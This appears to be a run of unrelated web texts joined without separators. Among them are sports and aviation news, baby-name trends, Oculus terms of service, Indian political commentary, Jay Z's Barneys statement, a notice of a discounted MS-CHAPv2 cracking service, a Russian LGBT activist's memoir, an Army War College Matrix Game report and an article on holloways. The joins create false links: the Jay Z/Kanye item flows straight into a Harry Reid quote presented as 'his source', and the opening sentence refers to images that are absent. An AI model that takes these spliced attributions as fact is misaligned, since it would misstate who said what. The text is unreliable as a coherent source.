Above, we have shown specific cut sections of David McCandless's creations - but in reality many of his originals are much bigger and longer.
The England winger, 22, limped off the pitch in the 73rd-minute of the 2-1 quarter-final loss at White Hart Lane.
When asked whether Townsend would be out for a considerable time, Spurs' caretaker manager Tim Sherwood replied: "It looks like it."
It could mean Townsend misses the busy festive programme.
The north Londoners, who are searching for a manager after Andre Villas-Boas' sacking on Monday, have four games between 22 December and 1 January.
Townsend has come to prominence this season at both club and international level.
The midfielder, who has been on loan at nine clubs during his time at Spurs, won his first international cap in September and appeared in subsequent squads, helping Roy Hodgson's men qualify for the 2014 World Cup finals.
VR 020 Meetup is being organised by Adriaan Rijkens for anyone in the area, whether they are an artist, programmer, animator, sound technician, movie maker or simply a VR fan to come and share their ideas and experiences on VR. The event is titled Let’s Share VR Demo’s & Experiences with Each Other, and will feature as guest speaker Peter van Apeldoorn from the Amsterdam Film Company. Apeldoorn travelled to Uganda to create a VR safari experience in collaboration with a Dutch/Ugandan touring agency, Matoke Tours. Having completed this project he founded the company VR-Gorilla. He will be talking about his adventure in Africa and the challenges to film 360 degree video.
The VR 020 Meetup will be taking place on Thursday 3rd December 2015, from 6pm until 9pm at A Lab, overhoeksplein 2, Amsterdam. If you wish to attend follow this link here to the event page to RSVP. This isn’t the only VR event to be held in Amsterdam, with the Dutch VR Meetup holding a 4 day event in Vondelpark at the end of October.
Boeing will receive a contract to draw up the engineering plans needed to convert the single-seat Super Hornet into a configuration specific to the Blue Angels role, the navy said in a 3 December acquisition notice.
The engineering work will support engineering change proposal 6480, which is entitled, “Navy Flight Demonstration Squadron (Blue Angels) Super Hornet Conversion”, the acquisition document shows.
The Blue Angels squadron is composed of a mix of one-seat F/A-18As and Cs and two-seat F/A-18Bs and Ds. The F/A-18A/B Hornets replaced the Douglas A-4 Skyhawk as the Blue Angels aircraft in 1986, and recently have been showing their age. Structural panels escaped from two different F/A-18As in aerial demonstrations a week part in late May and early June.
Since 2010, the navy has been moving F/A-18C/Ds into the squadron, but now the service is considering moving the Super Hornet into the role.
To perform the Blue Angels role, the F/A-18E will likely need similar design changes that the navy has performed on the original Hornet fleet.
These included removing the fighter’s gun and missile launchers, installing flight auxiliary fuel pumps that can operate in sustained inverted manoeuvres and inserting an oil pump in the tail to emit blue smoke. Also, a spring is added to the control stick for better handling in formation and inverted flight.
Though sharing a common naming and design heritage as the classic Hornets, the F/A-18E would mark a significant change for the Blue Angels. The Super Hornet is 25% larger and has 40% more range than the F/A-18C/D, making the aircraft substantially larger.
A note on the Blue Angels’ official web site cites the Super Hornet’s extra heft as one reason why the older model is favoured for the public demonstration role.
1 / 22 Elsa Disney's Frozen was the smash hit of 2014. Elsa, the name of one of its heroines, has stormed into 75th position in the charts. Elsa means "consecrated to God" in German, and "God is my oath" or "God's promise" in Hebrew.
Image: © Disney/www.rexusa.com
2 / 22 Olaf Olaf is the lovable snowman in Frozen. The name originates in Scandinavia and is derived from the Old Norse Áleifr, meaning "descendent of the ancestors". Olaf is often spelt Olav by Norwegians. With Freya appearing in the top 50 for girls, are Nordic names becoming a trend?
Image: © Disney/www.rexusa.com
3 / 22 Kristoff The courageous Kristoff is Frozen's leading man, accompanying Princess Anna on her quest to find her sister. This Greek form of the name Christopher comes from the name Khristophorus, comprising of khristos, meaning "Christ" and pherein, meaning "to bear". Both Olaf and Kristoff were registered wth BabyCentre for the first time in 2014.
Image: © Disney/www.rexusa.com
4 / 22 Primrose prima rosa, meaning "first rose".
Image: © Lionsgate/www.rexusa.com The name Primrose has risen in popularity since the release of The Hunger Games films. This sweet, floral name derives from the Latin, meaning "first rose". Flower names have been popular for over a decade, so it's no surprise that Primrose would gain a little extra attention after appearing in the limelight.Image: © Lionsgate/www.rexusa.com
5 / 22 Effie Another Hunger Games name, Effie, originates in Greek and means melodious talk. This name may not be in the top 100, but it's made its way onto our list of registered names since The Hunger Games films were released.
Image: © Lionsgate/www.rexusa.com
6 / 22 Gale Although Gale is male in The Hunger Games, the film seems to have given this traditionally female name a boost among girls. Taken from the English word, meaning "storm", it could also be used as a pet form of the name Abigail, taken from the Hebrew Avigayil, meaning "father's joy".
Image: © Lionsgate/www.rexusa.com
7 / 22 Ryan
Image: © www.rexusa.com A popular boys' name , Ryan was also chosen for three baby girls in 2014. This influence is thought to be from the film Gravity, released in 2013. Actress Sandra Bullock played the role of the enterprising scientist Ryan. Could this also be part of a wider trend for gender-neutral names Image: © www.rexusa.com
8 / 22 Loki Films based on comic books seem to be having an impact on parents' naming choices. Five boys were named Loki in 2014, a 500 per cent increase on 2013. The classic Marvel villain, based on a Norse god, has recently risen to prominence in The Avengers films.
Image: © Marvel Studios/www.rexusa.com
9 / 22 Logan Logan is a gender-neutral name that's much more popular among boys. However, we've seen an increase in parents choosing the name for their little girls in 2014. Perhaps this is down to Hugh Jackman's popular X-Men character Wolverine, whose real name is Logan. This Celtic name means "little cove", or "small hollow" in Scottish, while the Irish meaning is "meadow".
Image: © Twentieth Century Fox Film Corporation/www.rexusa.com
10 / 22 Daenerys One of the strongest female characters in Game of Thrones, Daenerys has certainly inspired parents in 2014. Four girls were named after the "Mother of Dragons" this year. The name was invented by Game of Thrones author George R R Martin and could be one to watch.
Image: © www.rexusa.com
11 / 22 Emilia Aemilius and means "rival".
Image: © Everett Collection/www.rexusa.com Not only has Daenerys had some influence, but the actress who plays her, Emilia Clarke, may also have played a part in the increasing popularity of her own name. It's made its way to number 53 in the top 100 girls' names of 2014. Emilia is derived from the Roman surnameand means "rival".Image: © Everett Collection/www.rexusa.com
12 / 22 John/Jonathan The classic boys' names John and Jonathan have been on the wane in recent years, but could Game of Thrones character Jon Snow be bringing them back? John has re-entered the top 100 boys' names list in 2014, and Jonathan has risen in popularity too. The name John is taken from the Hebrew Yochanan and means "God is gracious".
Image: © www.rexusa.com
13 / 22 Piper Piper has risen in popularity by 300 per cent between 2013 and 2014. The girls' name originates from the English surname, representing someone who played a pipe. Could this surge in popularity be related to the protagonist of popular Netflix series Orange is the New Black?
Image: © www.rexusa.com
14 / 22 Skyler Although Breaking Bad ended in 2013, it's still influencing name trends to this day. The family-focused Skyler has been inspiring parents this year, as the name rose in popularity by 322 per cent! With its Norse origins, the light and airy name simply means "sky".
Image: © www.rexusa.com
15 / 22 Jesse Jesse is another Breaking Bad name that's making its way into the mainstream. Its popularity jumped by 140 per cent in 2014 as parents caught up on their box sets. A gender-neutral name which can also be spelled Jessie, it's derived from the Hebrew Yishai meaning "gift".
Image: © www.rexusa.com
16 / 22 Walter Despite Walter being a criminal in Breaking Bad, parents are still loving the name, which rose by 100 per cent between 2013 and 2014. The name is of Old Germanic origin and means "commander of the army".
Image: © www.rexusa.com
17 / 22 Edith The ongoing success of TV series Downton Abbey has seen the starring ladies' traditional names flourish over the years. Edith continues to benefit from the trend this year, seeing a modest increase in popularity. An English name, it's derived from the Old English Ead meaning "wealth" and "fortune" and gar meaning "spear".
Image: © Joan Wakeham/www.rexusa.com
18 / 22 Cora kor meaning "maiden".
Image: © Joan Wakeham/www.rexusa.com Another vintage name , Cora has also increased in popularity in 2014. Perhaps the Downton Abbey character of the same name has influenced parents with her sweet personality? The name originates in Greek from the wordmeaning "maiden".Image: © Joan Wakeham/www.rexusa.com
19 / 22 Violet
Image: © Joan Wakeham/www.rexusa.com Downton's Lady Violet could have been the inspiration behind the increase in babies bearing the name in 2014. The name represents the beautiful shade of purple, joining other popular names representing colours , such as Ruby, Scarlett and Sienna.Image: © Joan Wakeham/www.rexusa.com
20 / 22 Rose Rose is in the top 100 girls' names of 2014, sitting just outside the top 50 at number 54. This classic name has done well for years, but it's risen in popularity by one place this year. Perhaps the Downton Abbey character, who first appeared in series three, could have something to do with it?
Image: © Joan Wakeham/www.rexusa.com
21 / 22 Mary The name Mary has also seen an increase in popularity during 2014. Mary was at its most popular 100 ago, when it was ranked as the number-one girls' name of 1914. Perfect for today's fascination with old-fashioned names!
Users and content developers own all the content and IP they create using Oculus services. We are not taking ownership. Our terms of service give Oculus a license to user created content so we can enable a full suite of current and future products and services on our platform, like sharing a piece of VR content with a friend. People continue to own the rights to the content and can do whatever they like with it outside of our platform. This is very clear in our terms: “Unless otherwise agreed to, we do not claim any ownership rights in or to your user content.”
At this time, there are not many places where people can upload their content to the Oculus platform. As we add more features, we’re working to understand the best ways to give people more control over how they share content in VR.
We want to create the absolute best VR experience for people, and to do that, we need to understand how our products are being used and we’re thinking about privacy every step of the way. The Oculus privacy policy was drafted so we could be very clear with the people who use our services about the ways we receive or collect information, and how we may use it. For example, one thing we may do is use information to improve our services and to make sure everything is working properly — such as checking device stability and addressing technical issues to improve the overall experience.
That BJP is in shambles, there is no doubt. Loosing two elections in a row seem to have brought it down to its knees and exposed all the chinks in its armour. From being a party of youthful leaders most of its youthful leaders have shown themselves to be made of clay. They specialise in bringing down each other while giving a walkover to the ruling party. It has miserably failed to be an effective opposition even though they have been handed price rise as an issue on the platter.
Its time, BJP rethinks its vision as a party right of centre that aspires to dominate Indian Politics as one of the two major national parties. While its roots and ascendancy did lie in being a pro-Hindu, anti-Muslim party, going further it may need to do a rethink. In a country where a large majority (almost 90%) of politicians are all hindus, being pro-Hindu does not count for much. Whatever boost it got from the Ayodhya issue can hardly ever be replicated again,as people tend to quickly return to their normal state after the aberrations of agitations like L. K. Advani’s Rath Yatra subside. As for being anti-Muslim, they needs to do a dispassionate analysis of the baggage that it brings and its advantages, if any. It may have helped them consolidate their position in Gujarat to successfully ward off the challenge from Congress in successive elections. But while they won the battle in Gujarat, they lost the war of India. From Trinamool Congress to Biju Janata Dal, they lost critical allies as a result of their stance on Gujarat issue. Even now, this issue remains the sore point with their only remaining major ally, Janata Dal United (JDU) in Bihar. Its longest standing pro-Hindu ally, Shiv Sena on the other hand is turning more and more into a liability rather than an asset. In the process, BJP has failed even to become the epicenter of the non-Congress, non-left opposition. The biggest worry for BJP should be that even in opposition, anti-BJP-ism is a bigger draw than anti-Congress-ism. For those who think that Gujarat can be replicated in India, they need to draw lessons from the Communist plight in West Bengal. Indoctrination such as Gujarat or West Bengal, only has a limited shelf life and can never be replicated nationally. Every party can have a set of moderates and hawks, however its important to reign in the hawks or they will eat up the party itself.
Mr. Pierre Dion, president and CEO of Quebecor, is proud to announce the acquisition of the Quebec Remparts of the Quebec Major Junior Hockey League. Mr. Jacques Tanguay, who has been a Remparts shareholder since 1997, will be staying on as team president.
The Remparts organization has passion, hard work and success in its DNA. We are honoured to become its owners, and we want to continue this 'sacred' tradition by keeping the Remparts at the same level of excellence while providing the best possible experience for Quebec City hockey fans.
Quebecor confirms that the Remparts will be moving into the new arena in September 2015. The arena belongs to the people of Quebec City, and we felt it was crucial to offer them hockey as soon as it opens, added Pierre Dion.
Jacques Tanguay and his partners are very happy with this transaction. For 16 years, we played on the ice of the Colisée Pepsi and, during that time, we received tremendous support from hundreds of thousands of fans and loyal business partners. The City of Quebec and its population just invested 400 million dollars to build a new arena for future generations, so it was crucial for us to make sure that Quebec City hockey fans would benefit from it. I wish to thank Pierre Dion and his entire organization – the building’s new managers – to allow us this continuity and to show us such confidence by letting us operate their new property, said Jacques Tanguay.
Mr. Dion wished to emphasize the very special contribution the former owners have made to the team’s success since 1997. Jacques’s attachment to his city, to sports, to hockey and to the Remparts is admirable! Jacques is a long-standing business partner for whom we have great respect, and we enjoy working with him.
CatCave9: Monthly English Improv Theater, with a dash of science
CatCave9 is back for the spring season in Cinéma Oblò in Lausanne downtown. Now with more science, and more long-form! As usual, we show every third Thursday of the month.
In our shows we explore improvisational comedy, both in short and long form, with a dash of science: each show features a guest scientist, presenting his research to the audience and the improvisers – you’ll be surprised where this takes us!
Join the event on Facebook!
CatCave9/E04
Thursday 21.04.2016
Cinema Oblò, Avenue de France 9, Lausanne
Doors: 19:00h, Show: 20:00h
Regular: 10 CHF
Students/AVS/Chom: 5 CHF
Jay Z has taken to his site Life+Times to post a long statement about his holiday collaboration with Barneys, which has come under fire in light of recent reports that the store discriminates against black shoppers. In the tone of a true politician, Jay writes that he's waiting for more facts about the recent racial profiling case before he takes any steps.
He speaks out against those urging him to pull out of the Barneys deal, likening those "snap judgments" to the act of racial profiling. He also emphasizes that he's not benefiting financially from the deal, and that pulling out of the collaboration would primarily hurt those who benefit from the Shawn Carter Foundation (which will receive 25 percent of sales of the Jay-Z/Barneys holiday collection). Here's the full statement:
This collaboration lives in a place of giving and is about the Foundation. I am not making a dime from this collection; I do not stand to make millions, as falsely reported. I need to make that fact crystal clear. The Shawn Carter Foundation is the beneficiary and the foundation is receiving 25% of all sales from the collaboration, 10% of all sales generated in the store on November 20th and an additional donation from Barneys. This money is going to help individuals facing socio-economic hardships to help further their education at institutions of higher learning. My idea was born out of creativity and charity… not profit. I move and speak based on facts and not emotion. I haven’t made any comments because I am waiting on facts and the outcome of a meeting between community leaders and Barneys. Why am I being demonized, denounced and thrown on the cover of a newspaper for not speaking immediately? The negligent, erroneous reports and attacks on my character, intentions, and the spirit of this collaboration have forced me into a statement I didn’t want to make without the full facts. Making a decision prematurely to pull out of this project, wouldn’t hurt Barneys or Shawn Carter, but all the people that stand a chance at higher education. I have been working with my team ever since the situation was brought to my attention to get to the bottom of these incidents and at the same time find a solution that doesn’t harm all those that stand to benefit from this collaboration. I am against discrimination of any kind, but if I make snap judgements, no matter who it’s towards, aren’t I committing the same sin as someone who profiles? I am no stranger to being profiled and I truly empathize with anyone that has been put in that position. Hopefully this brings forth a dialogue to effect real change. – Shawn “JAY Z” Carter
In a related development, once again, we have an example of the stark contrast between Jay Z and his buddy Kanye West this year. Kanye, per AllHipHop, used one of his recent Yeezus gigs to denounce racism in the fashion industry, and made direct reference to the recent Barneys incidents in speech that riffed on the lyrics to "New Slaves". "That's that racial profiling out in front of Barneys and shit," he said, "Talking about, 'Did you steal that?'"
His source for his wild accusation? A "Bain investor." From The Huff Po:
Saying he had "no problem with somebody being really, really wealthy," Reid sat up in his chair a bit before stirring the pot further. A month or so ago, he said, a person who had invested with Bain Capital called his office. "Harry, he didn't pay any taxes for 10 years," Reid recounted the person as saying."He didn't pay taxes for 10 years! Now, do I know that that's true? Well, I'm not certain," said Reid. "But obviously he can't release those tax returns. How would it look?"You guys have said his wealth is $250 million," Reid went on. "Not a chance in the world. It's a lot more than that. I mean, you do pretty well if you don't pay taxes for 10 years when you're making millions and millions of dollars."
Moxie Marlinspike and David Hulton's Divide and Conquer: Cracking MS-CHAPv2 with a 100% success rate presentation from Defcon is now a reality. If you want to crack a MS-CHAPv2 PPTP authentication handshake (like the one I use when I connect to IPREDator, the secure proxy I favor), they'll exhaust all of the DES keyspace for you for a mere $20, usually in less than a day.
Basically, MS-CHAPv2-based VPNs should now be considered insecure and not fit for purpose. Plus Moxie and David can brute force all of DES for $20. Yowza.
A Week Of Discounted Cracking For this week (9/23/2012), we will be offering deeply discounted MS-CHAPv2 cracking jobs by reducing the price from $200 to $20. This means that any PPTP VPN connection or intercepted MS-CHAPv2 WPA Enterprise wireless credentials can be cracked and decrypted with a 100% success rate for only $20. The one major caveat is that an influx of additional jobs might increase the pending queue depth and cause MS-CHAPv2 jobs to take slightly longer than ususal, but we'll see how it goes.
Cheaper MS-CHAPv2 Cracking
"When trained, radiologists are able to detect anomalies on medical images which are extremely hard to detect for untrained people," Tartaglia says. "The results of our study would predict that mental imagery training, hence, repeatedly mentally visualizing the anomalies that one wants to detect, would be sufficient to become able to detect them."
In a series of experiments, the scientists asked some participants to practice identifying which line, the right or the left in a series of parallel lines, a central line was closest to and to identify it by pushing the correct button. In follow-up, "post-training" exercises, these participants improved their baseline performance significantly. But so did another set of volunteers who, instead of practicing with all three lines in training, were instead asked to imagine the bisecting line's proximity based on an audio tone. This group also improved their performance significantly in further testing, meaning that "imagery training" was sufficient for perceptual learning.
Some experts question the relevance of mental imagery in this kind of learning, which is generally assumed to be driven by stimulus processing -- synapses firing in response to a physical cue. Here, the researchers show that perceptual learning can also occur by mental imagery, i.e., in the absence of physical stimulation. The results help shine a light on what has been an ongoing puzzle in the field and suggest an overlap in how -- and possibly where -- mental imagery affects perceptual learning.
What woke me up was a friend who messaged me on Facebook: "I am worried about how this might impact you and other LGBT people with families." This was enough to get my imagination working. Whatever they meant by "homosexual propaganda", I probably did it. I had two kids and a third on the way (my girlfriend was pregnant), which would mean I probably did it in front of minors. And this, in turn, meant the laws could in fact apply to me. First, I would be hauled in for administrative offences and fined and then, inevitably, social services would get involved.
That was enough to get me to read the legislation, which by now had been passed in about 10 towns and was about to become law in St Petersburg, the second-largest city in the country. Here is what I read: homosexual propaganda was defined as "the purposeful and uncontrolled distribution of information that can harm the spiritual or physical health of a minor, including forming the erroneous impression of the social equality of traditional and non-traditional marital relations".
Russia has a lot of poorly written laws and regulations that contradict its own constitution, but this one was different. Like other contemporary laws, it was so vaguely worded that it encouraged corruption and extortion (fines for "homosexual propaganda" are backbreaking) and made selective enforcement inevitable. But it also did something that had never been done in Russian law before: it enshrined second-class citizenship for LGBT people. Think about it: it made it an offence to claim social equality.
St Petersburg passed the law in March 2012. I no longer thought it was funny. I actually choked up when I saw the news item about the bill being proposed at the federal level. My girlfriend had recently had a baby and this, among other things, meant we needed to sell our tiny cars and trade up to something that accommodated three kids and a pram. I asked her: "Are we doing this or do we just need to get out of the country?" We decided we were doing it. We are fighters, not quitters.
So I launched the pink-triangle campaign. I went on TVRain, independent internet and satellite-based television and recorded a segment showing pictures of my family and explaining how the law would make it a crime to say my family was equal to other families. I explained the history of the pink triangle. I called on people who did not want to see fascism in Russia to put on pink triangles.
Though I have always been publicly out, I had never done what I did then – talked about my family and asked to be seen as a lesbian rather than a journalist first. It seemed to work beautifully. People wrote to me and came up to me in the street. I had had 6,000 pink triangles printed up and I got rid of most of them within a few weeks.
The public chamber, an extraparliamentary body formed by the Kremlin, scheduled a hearing on the legislation. I testified, as did a number of human rights activists I respected. The chair read out a draft resolution. I also received private assurances from highly placed officials present that the legislation would never make it to the parliament's floor.
That was a year ago. The public chamber's resolution never materialised. In January 2013, the Duma passed the bill in first reading. The protesters who came to the parliament building that day were beaten up. There had been anti-gay violence in Russia before, most notably when a group of activists had attempted to hold a gay pride celebration in Moscow, but never like this: brutal beatings in broad daylight as the police looked on – and eventually detained the protesters, not the attackers.
One of my closest friends took part in the protest at the Duma that day. The following day, he was fired from his job teaching biology at one of the city's better schools. He was eventually reinstated after a public outcry – he was arguably the city's best-known teacher, with his own podcast and television and radio series – but I knew one thing: if he had been a gay man rather than a heterosexual ally, he would never teach in the city again. Oh, and around the same time, Moscow City court banned gay pride celebrations for the next 100 years.
In March, the St Petersburg legislator who had become a spokesman for the law started mentioning me and my "perverted family" in his interviews. I contacted an adoption lawyer asking whether I had reason to worry that social services would go after my family and attempt to remove my oldest son, whom I adopted in 2000. The lawyer wrote back telling me to instruct my son to run if he is approached by strangers and concluding: "The answer to your question is at the airport."
In June, the "homosexual propaganda" bill became federal law. The Duma passed a ban on adoptions by same-sex couples and by single people living in countries where same-sex marriage is legal. The head of the parliamentary committee on the family pledged to create a mechanism for removing children from same-sex families.
Two things happened to me the same month: I was beaten up in front of parliament for the first time and I realised that in all my interactions, including professional ones, I no longer felt I was perceived as a journalist first: I am now a person with a pink triangle.
During the last couple of weeks I was able to observe a couple of playtesters going through the current version of area 4. Luckily, this time the area miniboss isn't as unbalanced as Arachnus and Torizo were in their earlier versions.
In fact, quite the oposite happened with the overall battle difficulty with normal enemies. Samus has access to Plasma Beam and the Screw Attack in this area, like in the original. After getting these Samus is pretty much invincible, and enemies need to be very tricky or have annoying traits to pose at least some challenge.
I even added a new, original enemy. But I can't seem to find a middle ground between it being cheap and just being a moving target.
So, there's the posibility of moving one of those major items to be found on area 5. This might require the redesign of some rooms, and more testing.
By this time, in the original game, once you cleared the tower and chose your beam, you went directly to the Omega nest. It made sense to be fully prepared by that time.
Now, this is where I need to depart the most from the original level design, specifically with item placement.
In the meantime, Area 5 was redesigned from the ground up. It will have some unique events, like all the other areas do. The layout is on paper right now, and it will need to house the item moved from Area 4 too. But I was able to give the existing rooms a new location and functionality, so production of this area won't take that much, level design wise.
Dr. Rex Brynen of McGill University in Montreal, Canada recently delivered a presentation on “Conflict Simulation and Gaming in the Classroom” at the Royal Military College of Canada in Kingston, Ontario. During the workshop, Dr. Brynen introduced us to Matrix Games. He also moderated “ISIS Crisis,” a Matrix Game on the rise of ISIS set in the summer of 2014. Matrix Games have the potential to enhance experiential education in both wargaming and Professional Military Education (PME).
A Matrix Game is a low-overhead, facilitated, multi-player, argument-based game where players propose actions, weigh arguments and counter-arguments, and a die roll decides success or failure. Matrix Games typically last 2-3 hours and require a scenario with map and counters, a facilitator/umpire, a subject matter expert, and 4-6 players or teams of players. Matrix Games can be created on any topic, however the focus of this article is on strategic geopolitical crisis Matrix Games.
Chris Engle created Matrix Games in the late 1980s. He wanted to develop a game system in which it was possible for a player to role-play an entire country, but that did not have extensive rules, unit counters and combat results tables (like most wargames).[1] He based his system on roleplaying games, using a free-play framework where players propose actions, state their desired effect, and then posit arguments in support of why they believe the proposed action will succeed (other players may offer counter-arguments). Initially his games included a matrix of cue words, although over time the matrix was dropped, but the name stuck.[2] For additional information on Matrix Games, as well as free Matrix Games, see:
Subsequently, the Strategic Simulations Division at the Army War College hosted its first Matrix Game demonstration session on December 10, 2015 for staff members of the Center for Strategic Leadership. The purpose of the demonstration was to provide an overview of Matrix Games and their potential for use as an additional wargaming method. The War College hosts several strategic wargames a year, using the two-sided seminar format. In ISIS Crisis, the participants represent one of six sides: the United States, Iran, Iraqi Government, Sunni minority, Iraqi Kurds, and ISIS. Prior to the game, each team was provided team-specific background information, objectives, and a special rules card explaining rules unique to each side.
AUTHOR’S NOTE: The purpose of the ISIS Crisis demonstration described below was to inform staff members on the Matrix Game methodology, not to formulate policy or strategy. Player actions do not reflect official policy of the Department of the Army, Department of Defense, or the U.S. Government.
The game began with a strategy and diplomacy phase, during which each team developed its strategy and conducted diplomatic negotiations with other the teams. For some teams, the negotiation session was instrumental in brokering deals that would significantly shape the subsequent gameplay. For others, the negotiation phase provided a sense of where they stood politically with other teams.
At the end of the strategy and diplomacy phase, each team announced the results of any negotiations (if they chose to). The United States team used the opportunity to announce a “four point” strategy for defeating ISIS. The final point of the strategy was support for a confederation system of government in Iraq, rather than continuing to support the Shia-dominated “unity” government. This announcement both surprised and immediately impacted the other players, especially the Iraqi, Iranian, Sunni minority and Kurdish teams.
The US team’s policy announcement set the tone for the game. The US built on its policy announcement by conducting a strategic information operations campaign to discredit ISIS and reduce its ability to recruit foreign fighters. Following a successful ISIS attack into Kurdish controlled Hasakah province and a successful Kurdish counter-offensive into Mosul, the US team deployed a significant aid package to the Kurds, in the form of air support, advisors, equipment and funding. Iraq interpreted the US policy statement and its direct support of the Kurds as destabilizing and sought to conduct reforms to increase minority representation in Parliament and its Ministries. The reform movement failed however, and the predominantly Shia Iraqi government faced the situation of a US-backed and resurgent Kurdish minority, combined with a now disenchanted Sunni minority leaning toward ISIS. The Iraqi Government responded by publicly appealing for military support. Iran responded to the call by announcing it would deploy ground forces into Iraq to help combat ISIS (the Iraqi and Iranian teams struck this secret deal during the diplomacy phase, unknown to the facilitator and the other players).
The US continued its diplomatic efforts to defeat ISIS by approaching the Gulf Cooperation Council (GCC) countries and asking them for help in cutting off funding for ISIS, then announced their own version of the 2014 Iranian Nuclear Deal, with a caveat that allowed Iran to deploy into Iraq to help fight ISIS. This deal effectively divided Iraq into a three-party state by driving the Sunni minority toward ISIS and further reinforcing Kurdish autonomy. ISIS and the Sunni minority successfully took Tikrit, then Fallujah, while Iranian forces deployed into Najaf, Karbalah and Samarra. ISIS then successfully conducted a covert operation in Samarra, destroying several Sunni mosques with explosives, and blaming Iranian forces. This event further strengthened the fissures between the Iraqi Government, the Sunnis and the Kurds. The Iraqi government attempted to gloss over the situation by conducting a “One Iraq” strategic communication campaign, but it did not reflect reality on the ground and was ignored by the other players. The game ended with Iraq in control of its Shia regions with significant Iranian ground forces, ISIS in control of the Sunni regions, including Tikrit and Fallujah, and the US-backed Kurds firmly in control of the Kurdish region. The new US policy announcement and the clever Iranian deals with the US and Iraq effectively created a three party Iraq. A by turn summary of all player actions as recorded is at the end of this article.
The after action review with the players, who were a mix of wargaming and research analysis experts, yielded several insights. Collectively the players thought that Matrix Games could be most beneficial before or during (or even in place of) the prevalent two-sided seminar wargaming method. They felt that the Matrix Game method better promoted participation and engagement among the players. The analysts felt that Matrix Games provided more quantitative data to collect due to the increased interaction, as well as more qualitative data in the form of the supporting arguments and the die rolls. All players thought that Matrix Games would be best for current or future (potential) conflicts to avoid participant knowledge of historical scenarios. They did acknowledge that historical scenarios could be used for Matrix Games to gain insights and understanding into why actors behaved as they did in historical conflicts.
Finally, ISIS Crisis demonstrated the potential utility of Matrix Games in policy and strategy formulation. National Security practitioners could conduct multiple iterations of a Matrix Game, testing a different policy or strategy approach in each one, to gain insights into how the various parties may react. For example, had this game been a test of a “confederation Iraq” policy, the US team would likely discard that policy course of action due to the implications vis-à-vis Iran, the Sunnis and the Kurds.
Since this ISIS Crisis demonstration, we briefed the War College Commandant and began to design our own Matrix Games. We plan to provide the War College faculty training on the use of Matrix Games as another tool in their instructor “toolkit” and look forward to providing future strategic leaders an additional experiential education experience during their time here at Carlisle Barracks.
ISIS Crisis actions by turn summary:
Turns 0-1
Turn 0 (Diplomacy Round): US announced new “4 Point” Policy to defeat ISIS; final point was support for an Iraqi Confederation Government
US: Global IO Campaign to discredit ISIS (success)
Iran: Negotiate covert SOF advisors and equipment to Syria (success)
ISIS: Conquer Hasakah Province from Kurds (success; doubles*)
ISIS Free Move: Counter US IO Campaign based on taking Hasakah (success)
Iraq: Expand minority representation across minsitries (fail)
Sunni: Propose law for proportional minority representation in Parliament (fail)
Kurds: Conquer Mosul from ISIS (success)
*ISIS Crisis special rule: when any player rolls doubles on two six-sided dice, ISIS receives a bonus action related to the roll.
Turn 2
US: Deploy forces in support of Kurds (Drones, SOF, Air, Equipment) (success)
Iran: Move SOF (via air) and equipment (via sea) to Syria (fail; moved but detected and attributed to Iran)
ISIS: Retake Mosul from Kurds (fail)
Iraq: Open request for ground forces in support of fight against ISIS (no roll; Iran agrees to help)
Sunni: Conduct uprising in Tikrit: phase 1 build militia (success)
Kurds: Retake Hasakah Province from ISIS (fail; doubles)
ISIS Free Move: Provide support to Sunnis for Tikrit uprising (success)*
*Umpire mistake, not related to failed roll!
Turn 3
US: Soft diplomacy to GCC to stop flow of money to ISIS (success)
Iran: Deploy ground forces to Iraq: Najaf and Karbala (success)
ISIS: Conquer Tikrit with Sunni militia support (success)
Iraq: Conduct anti-ISIS IO campaign based on “one Iraq” (fail)
Sunni: Re-propose law for proportional minority representation in Parliament (success)
Kurds: Retake Hasakah Province from ISIS (success)
Turn 4
US: Announced Iranian nuclear deal in exchange for Iranian help against ISIS (success)
Iran: Deploy additional ground forces to Iraq: Samara (success; doubles)
ISIS Free Move: Blows up several mosques in Samara; Iran blamed (success)
ISIS: Regional recruiting campaign (success; doubles)
ISIS Free Move: Conquer Fallujah from Iraq (success)
Iraq: Coordinate for Combined Iraqi-Iranian assault to retake Fallujah from ISIS (fail; Iraq attacks alone)
Sunni: Appeal to US for support (no roll)
Kurds: Recuit/deploy additional Peshmerga into Kirkuk Provice (fail)
[1] “Matrix Games: The Origins of Matrix Games,” Wargame Developments, (accessed January 27, 2016).
[2] John Curry and Tim Price, Matrix Games for Modern Wargaming (Bristol, UK: The History of Wargaming Project, 2014), 7.
The views expressed in this article are those of the authors and do not necessarily reflect the official policy of the Department of the Army, Department of Defense, or the U.S. Government.
COL Jerry Hall is an Army Simulations Officer and the Director of the Strategic Simulations Division, Center for Strategic Leadership, US Army War College. He can be reached at jerry.a.hall.mil@mail.mil
Appearing like trenches dragged into the earth, sunken lanes, also called hollow-ways or holloways, are centuries-old thoroughfares worn down by the traffic of time. They’re one of the few examples of human-made infrastructure still serving its original purpose, although many who walk through holloways don’t realize they’re retracing ancient steps.
The name “holloway” is derived from “hola weg,” meaning sunken road in Old English. You’re most likely to discover a holloway where the ground and the stone below are soft, such as places rich in sandstone or chalk. No one ever engineered a holloway — erosion by human feet, and horses or cattle driven alongside, combined with water then flowing through the embankments like a gully, molded the land into a tunneled road. It’s hard to date them, but most are thought to go back to Roman times and the Iron Age, although in the Middle East some are believed to stretch back to ancient Mesopotamia. They even have their own ecology, such as the spreading bellflowers that enjoy the disturbed earth.
Last year Robert Macfarlane published a book called Holloway that mused on the landforms alongside gorgeous woodcuts by Stanley Donwood. Macfarlane described the sunken lanes as ”rifts within which time might exist as pure surface, prone to recapitulation and rhyme, weird morphologies, uncanny doublings.” Back in 2008, he described the geology of the holloways in an Orion magazine article:
The oldest holloways date back to the early Iron Age. None is younger than three hundred years old. Over the course of centuries, the passage of cart wheels, hooves, and feet wore away at the floor of these roads, grooving ruts into the exposed stone.
Some holloways have garnered modern infamy due to their use as shelters in war, such as one in La Meauffe, Normandy, that earned the nickname “Death Valley Road” in a clash between American and German soldiers, or another now called “Bloody Lane” after the hundreds who died there in Maryland’s Battle of Antietam in the American Civil War. However, most are quietly still offering passage through forests and the overgrowth, just as they have for centuries.
Erbrée, Brittany, France (photograph by Olybrius/Wikimedia)
Sunken lane in La Meauffe, France, site of a 1944 World War II battle (photograph by Romain Bréget/Wikimedia)
Brittany, France (photograph by Jean-François Gornet/Flickr)
Stourton, England (photograph by David Coombes/Flickr)
Little Covert, Bradford Abbas, England, where a holloway was worn in the soft rock over centuries (photograph by Nigel Mykura/geograph.org.uk)
Parc des Oblates, Nantes, France (photograph by Jibi44/Wikimedia)
Dark Lane, Southowram, England (photograph by Tim Green/Flickr)
